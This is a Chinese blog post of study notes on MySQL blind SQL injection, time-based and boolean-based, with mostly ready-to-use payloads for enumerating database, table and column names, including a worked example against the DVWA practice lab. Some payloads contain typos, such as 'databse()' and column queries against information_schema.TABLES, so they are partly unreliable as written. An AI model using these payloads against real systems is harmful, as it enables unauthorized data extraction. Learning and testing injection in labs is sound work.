SQL注入笔记03:盲注攻击

 

普通联合注入和盲注的区别
普通注入:效率高,兼容性差
盲注:效率低,兼容性强
工具采用的基本都为盲注及其他注入

********************************************************基于时间延迟的盲注攻击:********************************************************
sleep()                           //等待一定时间后执行SQL语句,单位为秒,如sleep(3)为等待3秒
if(条件,true,false)          //条件为真返回true值,否则返回false值,如if(a=b,0,5)为如果a等于b则返回0,否找返回5。常用条件:=、<、<=、>、>=
length(str)                    //返回长度
mid(str,start,length)     //截取字符串,从1开始,0以及超过长度部分返回NULL
ord(str)                        //返回字符串第一个字符的 ASCII 值。


判断是否存在注入,注入是字符型还是数字型
输入1’ and sleep(5) #,感觉到明显延迟;->'1' and sleep(5)#'
输入1 and sleep(5) #,没有延迟;->'1 and sleep(5) #'
说明存在字符型的基于时间的盲注。

输入1’ and sleep(5) #,没有延迟;->1' and sleep(5)#
输入1 and sleep(5) #,感觉到明显延迟;->1 and sleep(5) #
说明存在数字型的基于时间的盲注。

下面以数字型为例
****************************猜测数据库****************************
1、猜测数据库名长度
//如果数据库名等于猜测长度则返回0,否找返回5。返回0网页立马刷新,返回5网页延迟刷新
(url)?x=1 AND SLEEP(IF(LENGTH(DATABASE())=猜测长度,0,3));

2、猜测完整数据库名
//如果数据库名等于猜测名则返回0,否找返回5。返回0网页立马刷新,返回5网页延迟刷新
(url)?x=1 AND SLEEP(IF(DATABASE()='猜测名',0,3));

3、猜测数据库指定位置的字符
//猜测第一个字符
(url)?x=1 AND SLEEP(IF(MID(DATABASE(),1,1)='猜测字符',0,3));
//猜测第一个到第N个的字符段
(url)?x=1 AND SLEEP(IF(MID(DATABASE(),1,N)='猜测字符段',0,3));

4、猜测数据库指定位置的字符的ASCII编码及范围
//MID(DATABASE(),2,1)此处为第二个字符
//猜测指定值
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))=猜测值,0,3)); 
//猜测指定范围
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))<猜测值,0,3));
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))<=猜测值,0,3));
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))>猜测值,0,3));
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))>=猜测值,0,3));

****************************猜测数据库表****************************
1、猜测数据库里有多少张表
//table_schema=DATABASE():指定当前数据库
//SLEEP(IF(COUNT(TABLE_NAME)=表数量,0,3)):如果表数量猜对了则不等待,否找等待3秒
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(COUNT(TABLE_NAME)=表数量,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE();

2、猜测第N个表的名字长度
//union:因为包含查询查询操作,所以不用and
//limit 0,1:只读取第一条数据,即数据库下面第一个表的名字。limit 开始位置,长度:limit 5,6为查询结果里第6-11条结果
//=猜测值:还可以<、<=、>、>=
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(LENGTH(TABLE_NAME)=猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;

3、猜测表名指定位置的字符
//LIMIT 0,1:猜测第一个表名
//猜测第一个字符
UNION SELECT 1,2,3,4,SLEEP(IF(MID(TABLE_NAME,1,1)='指定字符',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
//猜测第一个到第N个的字符段
(UNION SELECT 1,2,3,4,SLEEP(IF(MID(TABLE_NAME,1,N)='指定字符段',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;

4、猜测数据库表指定位置的字符的ASCII编码及范围
//MID(TABLE_NAME,2,1)此处为第二个字符
//猜测指定值
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))=猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
//猜测指定范围
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))<猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))<=猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))>猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))>=猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;

****************************猜测数据库表列****************************
1、猜测数据库里有多少张表
//table_name='city':以city表为例
//table_schema=DATABASE():指定当前数据库
//SLEEP(IF(COUNT(column_name)=列数量,0,3)):如果列数量猜对了则不等待,否找等待3秒
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(COUNT(column_name)=列数量,0,3)) FROM information_schema.COLUMNS WHERE table_schema=DATABASE() AND table_name='city';

2、猜测第N个列的名字长度
//union:因为包含查询查询操作,所以不用and
//limit 0,1:只读取第一条数据,即数据库下面第一个列的名字。limit 开始位置,长度:limit 5,6为查询结果里第6-11条结果
//=猜测值:还可以<、<=、>、>=
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(LENGTH(column_name)=猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;

3、猜测列名指定位置的字符
//LIMIT 0,1:猜测第一个列名
//猜测第一个字符
UNION SELECT 1,2,3,4,SLEEP(IF(MID(column_name,1,1)='指定字符',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
//猜测第一个到第N个的字符段
(UNION SELECT 1,2,3,4,SLEEP(IF(MID(column_name,1,N)='指定字符段',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;

4、猜测列名指定位置的字符的ASCII编码及范围
//MID(TABLE_NAME,2,1)此处为第二个字符
//猜测指定值
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))=猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
//猜测指定范围
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))<猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))<=猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))>猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))>=猜测值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;


********************************************************基于布尔的盲注攻击:********************************************************
1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在:
输入1’ and 1=1 #,显示存在:
输入1’ and 1=2 #,显示不存在:
说明存在字符型的SQL盲注。


2.猜解当前数据库名
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。
输入1’ and length(database())=1 #,显示不存在;
输入1’ and length(database())=2 #,显示不存在;
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在:
说明数据库名长度为4。

下面采用二分法猜解数据库名。
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。


3.猜解数据库中的表名
首先猜解数据库中表的数量:
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
说明数据库中共有两个表。

接着挨个猜解表名:
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为9。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名(guestbook、users)。


4.猜解表中的字段名
首先猜解表中字段的数量:
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在
说明users表有8个字段。

接着挨个猜解字段名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值